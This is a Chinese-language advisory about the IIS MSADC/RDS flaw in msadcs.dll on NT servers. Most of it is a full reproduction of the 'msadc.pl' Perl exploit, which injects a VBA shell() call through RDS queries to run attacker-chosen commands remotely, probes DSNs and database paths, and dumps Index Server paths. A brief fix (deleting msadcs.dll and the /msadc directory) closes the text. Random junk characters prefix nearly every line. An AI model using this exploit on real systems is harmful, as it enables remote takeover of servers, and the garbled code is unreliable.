IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
MC&\bf +w8R!jdA 涉及程序:
x3rlJs`$; Microsoft NT server
)NR Q2 BA=,7 y&;j 描述:
R<x'l=,D( 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
e:AHVepj{ {s3z"OV 详细:
8UkKU_Uso 如果你没有时间读详细内容的话,就删除:
*UW=Mdt c:\Program Files\Common Files\System\Msadc\msadcs.dll
S60IPya 有关的安全问题就没有了。
?6!]Nl1gr dSCzx
.c 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
}oJAB1'k MV=9!{` 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{_U
Kttp 关于利用ODBC远程漏洞的描述,请参看:
I-agZag% it2 a http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm rfw-^`&{ wC-Rr^q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
tDDy]==E http://www.microsoft.com/security/bulletins/MS99-025faq.asp G4
G5PXi -{
u*qtp 这里不再论述。
N S#TW TPE:e)GO 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
s
s
3t Rte+(- iL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
irk*~k ? 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p*5\+WO>!( I\|N Y
qcD-K #将下面这段保存为txt文件,然后: "perl -x 文件名"
eh R{X7J B cj/y4" #!perl
pG"5!42M! #
] xd^% q* # MSADC/RDS 'usage' (aka exploit) script
u
=gt<1U #
1b9hE9a{j # by rain.forest.puppy
t4K~cK #
'lZ.j& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
V\K<$?oUb # beta test and find errors!
/=?ETth @ U.T|
use Socket; use Getopt::Std;
XR0O;JN getopts("e:vd:h:XR", \%args);
S-+M;@'Rl q8ImrC.'^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
AnZclqtb 2u?zO7W)-L if (!defined $args{h} && !defined $args{R}) {
bAr` E print qq~
D5?phyC[Z Usage: msadc.pl -h <host> { -d <delay> -X -v }
:c8n[+5 -h <host> = host you want to scan (ip or domain)
Lhh;2r/?78 -d <seconds> = delay between calls, default 1 second
Y\2|x*KwvF -X = dump Index Server path table, if available
Q)af|GW$ -v = verbose
{0!#>["< -e = external dictionary file for step 5
z<]bv7V s=Q(C[%I Or a -R will resume a command session
U/;]zdP.K r.0oxH'] ~; exit;}
A"Q@W<. *^ \FIUd $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
UK*qKj.) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2q}.. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
HEA eo! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>5T_g2pkv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9j*0D(" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
s~26 }%n5nLU` if (!defined $args{R}){ $ret = &has_msadc;
Lv1{k\aw die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#pdUJ2)yM W4YE~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7t-Lz|
$" . "cmd /c ";
}%{MPqg $in=<STDIN>; chomp $in;
NN
0Q`r,8} $command="cmd /c " . $in ;
.I$}KE) ^;F{)bmu+) if (defined $args{R}) {&load; exit;}
ezTZnutZ G[idN3+# print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
GJ'spgz &try_btcustmr;
y|_Eu: OY"6J@[z print "\nStep 2: Trying to make our own DSN...";
p2x [p &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
VF0dE TJ6#P<M print "\nStep 3: Trying known DSNs...";
59Sw+iZj &known_dsn;
NHX>2-b wHsB,2H print "\nStep 4: Trying known .mdbs...";
u~Tg&0V30 &known_mdb;
}g f}eH `Iy4=nVb if (defined $args{e}){
|Y_
- print "\nStep 5: Trying dictionary of DSN names...";
`0#H]=$2h &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
U/qE4u1J6M ]B9 ^3x[: print "Sorry Charley...maybe next time?\n";
?TEK=mD#u exit;
&~5=K [6(Iwz? ##############################################################################
'PdmI<eXQ '~-IV0v9 sub sendraw { # ripped and modded from whisker
+yt6(7V* sleep($delay); # it's a DoS on the server! At least on mine...
;_<)JqUh my ($pstr)=@_;
J7-^F)lu- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
n<V1|X die("Socket problems\n");
Uz8hANN0_ if(connect(S,pack "SnA4x8",2,80,$target)){
1K|@h&@ select(S); $|=1;
g?qKNY print $pstr; my @in=<S>;
%Ny) ?B select(STDOUT); close(S);
\Mi#{0f+q return @in;
#I`ms$j% } else { die("Can't connect...\n"); }}
iRmQ5ezk CBD_a#K{ ##############################################################################
0o&}mKe <xS=# sub make_header { # make the HTTP request
2Eh@e([PMs my $msadc=<<EOT
SlT*C6f POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=;c_} VY User-Agent: ACTIVEDATA
xQt 3[(Z Host: $ip
a}.Y!O& Content-Length: $clen
?)tK!' Connection: Keep-Alive
E1>/R m[2'd ADCClientVersion:01.06
:X ., Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<6N_at3 JE%A|R<Jl --!ADM!ROX!YOUR!WORLD!
W7G9Kx1Y Content-Type: application/x-varg
E*v]:kok Content-Length: $reqlen
,J9}.}Hd 'UDBV EOT
& QZV q" ; $msadc=~s/\n/\r\n/g;
m =&j@ return $msadc;}
(N U0Tw =v" xmx&4 ##############################################################################
`"y{;PCt_ >BqCkyM9Kf sub make_req { # make the RDS request
Z^tGu7x my ($switch, $p1, $p2)=@_;
ged,> my $req=""; my $t1, $t2, $query, $dsn;
fCEz-TMW CD?&<NV if ($switch==1){ # this is the btcustmr.mdb query
(M% ;~y\ $query="Select * from Customers where City=" . make_shell();
rH}fLu8,;Q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~oi_r8K $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
C*wdtEGq rpU/s@%L elsif ($switch==2){ # this is general make table query
v}il(w;O $query="create table AZZ (B int, C varchar(10))";
a[O6YgO $dsn="$p1";}
.1ddv4Hk >,g5Hkmqr elsif ($switch==3){ # this is general exploit table query
2Ug.:![ $query="select * from AZZ where C=" . make_shell();
kG3!(?: $dsn="$p1";}
r#~K[qb I5pp "*u elsif ($switch==4){ # attempt to hork file info from index server
t9*= $query="select path from scope()";
Lk(S2$)* $dsn="Provider=MSIDXS;";}
2bA#D%PHD mCb 9*| elsif ($switch==5){ # bad query
29O]S8 $query="select";
],?pe $dsn="$p1";}
.98.G4J> 9.Ap~Ay. $t1= make_unicode($query);
Kx]> fHK $t2= make_unicode($dsn);
A
+!sD5d $req = "\x02\x00\x03\x00";
Gc5VQ^] $req.= "\x08\x00" . pack ("S1", length($t1));
<:cpz* G4 $req.= "\x00\x00" . $t1 ;
h;n\*[fDc $req.= "\x08\x00" . pack ("S1", length($t2));
jyjQzt
>\ $req.= "\x00\x00" . $t2 ;
^('cbl $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?Leyz return $req;}
?Y!U*& 7 U?6yke ##############################################################################
^uBwj}6 !1-&Y'+ sub make_shell { # this makes the shell() statement
V
[4n'LcE return "'|shell(\"$command\")|'";}
FU]4oKx 9 }n,@@ ##############################################################################
W8.j/K: 2
zl~>3S sub make_unicode { # quick little function to convert to unicode
1#!@[" my ($in)=@_; my $out;
&l!$Sw-u; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"z/V%ZK~f return $out;}
;vUxO<cKFq {h^c ##############################################################################
9%TT>2# f=oeF]=I" sub rdo_success { # checks for RDO return success (this is kludge)
=L16hDk o my (@in) = @_; my $base=content_start(@in);
fIEw(k<* if($in[$base]=~/multipart\/mixed/){
C@)pmSQ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
rys<-i( return 0;}
DrFu r(=T 3jg'1^c ##############################################################################
WJcVQMs 8}K"IW sub make_dsn { # this makes a DSN for us
qp1\I$Y my @drives=("c","d","e","f");
SEU\}Ni{ print "\nMaking DSN: ";
K!7q!%Ju foreach $drive (@drives) {
Z%;)@0~f print "$drive: ";
SauHFl8? my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zkG>u,B} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3*2I$e!Jt . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
GRQ_+K $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n>T:2PQ3 return 0 if $2 eq "404"; # not found/doesn't exist
|Pf(J;'[ if($2 eq "200") {
D@5s8xv foreach $line (@results) {
M4H"].Zm return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
c'~[!,[b< } return 0;}
Ut':$l= :Fo4O'UC ##############################################################################
z1}1*F" B{=009. sub verify_exists {
2mLUdx~c my ($page)=@_;
Ik-oI=>. my @results=sendraw("GET $page HTTP/1.0\n\n");
1(#RN9 return $results[0];}
x~Pvh+O 6mAB(X^+ ##############################################################################
[lOf|^9 @jKDj]\ sub try_btcustmr {
,N0uR@GN my @drives=("c","d","e","f");
)8bFGX7| my @dirs=("winnt","winnt35","winnt351","win","windows");
!3QRzkJX~ 'FqEB]gu foreach $dir (@dirs) {
km}MqBQl print "$dir -> "; # fun status so you can see progress
fK);!Hh foreach $drive (@drives) {
w=5 print "$drive: "; # ditto
4y1> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
zw<
4G[u $reqlenlen=length( "$reqlen" );
-3\7vpcdN $clen= 206 + $reqlenlen + $reqlen;
u'=(&>< TIETj~+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
0 S2v"(_T if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>KKeV(Ur else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)]tvwEo {Evcc+Eq ##############################################################################
Z/n3aYM
[Ek42% sub odbc_error {
)ib7K1GJ my (@in)=@_; my $base;
htV#5SUx& my $base = content_start(@in);
]2LXUYB if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
OZa88& $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]ZDTn $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#>"}q3RO $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TZj[O1E return $in[$base+4].$in[$base+5].$in[$base+6];}
qj`,qm
P print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
@+$cZ3, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
U @)k3^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
z'T=]-
D keaj3#O ##############################################################################
ia_Z\q TbMdQbj} sub verbose {
!5?
m my ($in)=@_;
=MCNCV/< return if !$verbose;
T!1SMo^ print STDOUT "\n$in\n";}
UKOFT6| +8^5C,V ##############################################################################
5St`@ i,([YsRuou sub save {
eQ$e*|}"m my ($p1, $p2, $p3, $p4)=@_;
3;y_qwA open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_Q)d+Fl print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
luibB&p1 close OUT;}
F. }l(KuJ %v_IX2' ##############################################################################
G5Je{N8W 2YE7 23H=Z sub load {
_O"L1Let my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C1KfXC*|L open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Q
js2hj-$ @p=<IN>; close(IN);
Sf=F cb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
O@nqHZ $target= inet_aton($ip) || die("inet_aton problems");
QH4k!^ print "Resuming to $ip ...";
TeKC} NW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
H_Iim[v# if($p[1]==1) {
Jc`Rs"2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\Bt=bu>Z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
o>@=N2n my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
sZ]'DH&_( if (rdo_success(@results)){print "Success!\n";}
) @!~8<_" else { print "failed\n"; verbose(odbc_error(@results));}}
HOq4i! elsif ($p[1]==3){
<b6s&"%= if(run_query("$p[3]")){
7AI3|Ts]p print "Success!\n";} else { print "failed\n"; }}
J `YnT elsif ($p[1]==4){
@+iC/ if(run_query($drvst . "$p[3]")){
0{-`Th+h print "Success!\n"; } else { print "failed\n"; }}
#fwzFS \XL exit;}
Ica3 mm_^gQ,` ##############################################################################
xIM8 kxygf9I!; sub create_table {
qx Wgt(Os my ($in)=@_;
"Ys_ \ $reqlen=length( make_req(2,$in,"") ) - 28;
$4DFgvy$ $reqlenlen=length( "$reqlen" );
I<c@uXXV;! $clen= 206 + $reqlenlen + $reqlen;
kmmL>fCV"M my @results=sendraw(make_header() . make_req(2,$in,""));
"|F.'qZrm return 1 if rdo_success(@results);
3b+7^0frY# my $temp= odbc_error(@results); verbose($temp);
PP!l return 1 if $temp=~/Table 'AZZ' already exists/;
8oa)qaG1 return 0;}
ZyHIMo| -T 2~W! ##############################################################################
]vRVo6@ k +d@v
AxP sub known_dsn {
giaD9$C # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
xR*5q1j my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v>rqOI "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*4-r`k|@>/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Ok*VQKyDLH 7X(rLd
6# foreach $dSn (@dsns) {
MhHr*!N"} print ".";
P\,F1N_?r next if (!is_access("DSN=$dSn"));
v$[ @]` if(create_table("DSN=$dSn")){
ooomi"u print "$dSn successful\n";
A(q~{ if(run_query("DSN=$dSn")){
|VTWw<{LX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
V/`#B$6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
^Vl^,@ `x2fp6
##############################################################################
qnabw F ^?E^']H)5u sub is_access {
'&RZ3@}+ my ($in)=@_;
`kqT{fs $reqlen=length( make_req(5,$in,"") ) - 28;
d|>9rX+f $reqlenlen=length( "$reqlen" );
RcY6V_Qx $clen= 206 + $reqlenlen + $reqlen;
se~ *<5 my @results=sendraw(make_header() . make_req(5,$in,""));
:|?~B%-p[ my $temp= odbc_error(@results);
W3Fy mCI verbose($temp); return 1 if ($temp=~/Microsoft Access/);
qRgK_/[] return 0;}
NdM}xh p^p'/$<6_ ##############################################################################
GA'*58 M7`UoTc+>d sub run_query {
R'vdk< my ($in)=@_;
3js)niT9u $reqlen=length( make_req(3,$in,"") ) - 28;
OI'uH$y $reqlenlen=length( "$reqlen" );
u86J.K1Q $clen= 206 + $reqlenlen + $reqlen;
g ^D)x[ my @results=sendraw(make_header() . make_req(3,$in,""));
;~}-AI- return 1 if rdo_success(@results);
:X3rd|;kc my $temp= odbc_error(@results); verbose($temp);
\%w7D6dEZ return 0;}
\B*k_W/r@ j'G"ZPw1 ##############################################################################
{fAh@:{@ (jp1; #P! sub known_mdb {
gUksO!7^1 my @drives=("c","d","e","f","g");
R g%R/p)C my @dirs=("winnt","winnt35","winnt351","win","windows");
hp?ad my $dir, $drive, $mdb;
Hi9 G^Q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B$K7L'e+- N5:D8oWWXR # this is sparse, because I don't know of many
nvU+XCx my @sysmdbs=( "\\catroot\\icatalog.mdb",
Ytl:YzXCi "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@#bBs9@gv "\\system32\\certmdb.mdb",
[37f#p "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
VaD: N2[, aU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
L~^e\^sP "\\cfusion\\cfapps\\forums\\forums_.mdb",
1.hOE>A% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
;yRwoTc)Y "\\cfusion\\cfapps\\security\\realm_.mdb",
.a 'ETNY:> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_DNkdS
[[ "\\cfusion\\database\\cfexamples.mdb",
,m #@%fa "\\cfusion\\database\\cfsnippets.mdb",
;s}-X_O< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
x(C]O, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
PiIp<fJd$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
^U0apI "\\cfusion\\database\\smpolicy.mdb",
yC9:sQ'k "\\cfusion\\database\cypress.mdb",
/ e~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
t:?<0yfp& "\\website\\cgi-win\\dbsample.mdb",
B|$\/xO "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
2jI4V;H8g "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!1ie:z>s ); #these are just
d+gk q\ foreach $drive (@drives) {
yrxx+z|wR foreach $dir (@dirs){
0hHIz4( foreach $mdb (@sysmdbs) {
m
_t(rn~f6 print ".";
|_Naun=+~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9b{g+lMZo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
n r'YWW if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|YG)NO print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
rXHHD#\oF } else { print "Something's borked. Use verbose next time\n"; }}}}}
X+(aQ
>y &* V0( foreach $drive (@drives) {
Sa?~t3*H foreach $mdb (@mdbs) {
rwi2kk#@P print ".";
`^s]? if(create_table($drv . $drive . $dir . $mdb)){
LM'*OtpDG print "\n" . $drive . $dir . $mdb . " successful\n";
sg! =Q+ if(run_query($drv . $drive . $dir . $mdb)){
c]cO[T_gGa print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
J@u!S~&r } else { print "Something's borked. Use verbose next time\n"; }}}}
S>/I?(J }
1A,4Aw< -9tXv+v? ##############################################################################
@O @|M' d\1:1ucV sub hork_idx {
j`LT`p"9S print "\nAttempting to dump Index Server tables...\n";
D{&+7C:8. print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
EkfGw/WDw $reqlen=length( make_req(4,"","") ) - 28;
^c;skV&S $reqlenlen=length( "$reqlen" );
(HTk;vbZm $clen= 206 + $reqlenlen + $reqlen;
%k1q4qOG]^ my @results=sendraw2(make_header() . make_req(4,"",""));
oKMg7 3* if (rdo_success(@results)){
|-cALQ my $max=@results; my $c; my %d;
b&|YQW}~ for($c=19; $c<$max; $c++){
hc@;}a\Y $results[$c]=~s/\x00//g;
>$k4@eg! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!0d9<SVC $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
he#Tr'j $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
OTy4"% $d{"$1$2"}="";}
{
V=:O foreach $c (keys %d){ print "$c\n"; }
*;\
K5 } else {print "Index server doesn't seem to be installed.\n"; }}
d ~Z:$&r 5sffDEU]A ##############################################################################
kBDe*K.V nvUkbmZG# sub dsn_dict {
=8VJ.{xy_e open(IN, "<$args{e}") || die("Can't open external dictionary\n");
o/i5e=9[y while(<IN>){
5
\.TZMB $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Qh1Kl_a?Lv next if (!is_access("DSN=$dSn"));
eog,EP"a8Y if(create_table("DSN=$dSn")){
I5|S8d< print "$dSn successful\n";
BT*K,p if(run_query("DSN=$dSn")){
'nmYB:&! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*}Ae9 print "Something's borked. Use verbose next time\n";}}}
+Fy-~Mq print "\n"; close(IN);}
Eb{4.17b LcQ\?]w`] ##############################################################################
{?h6*>-^Z Z{R=h7P sub sendraw2 { # ripped and modded from whisker
^5zS2nm sleep($delay); # it's a DoS on the server! At least on mine...
TF([yZO' my ($pstr)=@_;
:67d>wb socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|L~gNC die("Socket problems\n");
DrVbx if(connect(S,pack "SnA4x8",2,80,$target)){
F4aJr%!\6S print "Connected. Getting data";
Zj /H3,7 open(OUT,">raw.out"); my @in;
y(p:)Iv select(S); $|=1; print $pstr;
"b+3 &i| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ud~VQXZo close(OUT); select(STDOUT); close(S); return @in;
0,i+ } else { die("Can't connect...\n"); }}
-7A!2mRiz iM-hWhU ##############################################################################
[wpt[zG (*^E7
[w sub content_start { # this will take in the server headers
c9_4ohB my (@in)=@_; my $c;
:XZJx gx for ($c=1;$c<500;$c++) {
KG./<"c if($in[$c] =~/^\x0d\x0a/){
?eg@
7n if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(}7o
a9Q< else { return $c+1; }}}
\FaB!7*~ return -1;} # it should never get here actually
4j=@}!TBt #@OKp,LJ ##############################################################################
|H|eH~.yg& -QHzf&D? sub funky {
V[2<ha[n> my (@in)=@_; my $error=odbc_error(@in);
f@V{}&ZWp if($error=~/ADO could not find the specified provider/){
U:\oGa84A print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-<VF6k< exit;}
^/RM;`h0 if($error=~/A Handler is required/){
P$#}-15?|_ print "\nServer has custom handler filters (they most likely are patched)\n";
W} +6L| exit;}
^SL}wC x if($error=~/specified Handler has denied Access/){
(UiH3Q9C]% print "\nServer has custom handler filters (they most likely are patched)\n";
g5TLX&Bd exit;}}
d T-O8 6`PGV+3j ##############################################################################
@5nkI$>3z 7$!Bq# sub has_msadc {
5'}!v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
fqp7a1qQl my $base=content_start(@results);
FK,r<+h return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0BU:(o& return 0;}
h"%,eW|^ YUE1 '} ########################
hE3jb.s(> qcoZ2VJ hh Sv]"Y/N 解决方案:
Z(clw 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
N`mC_) 2、移除web 目录: /msadc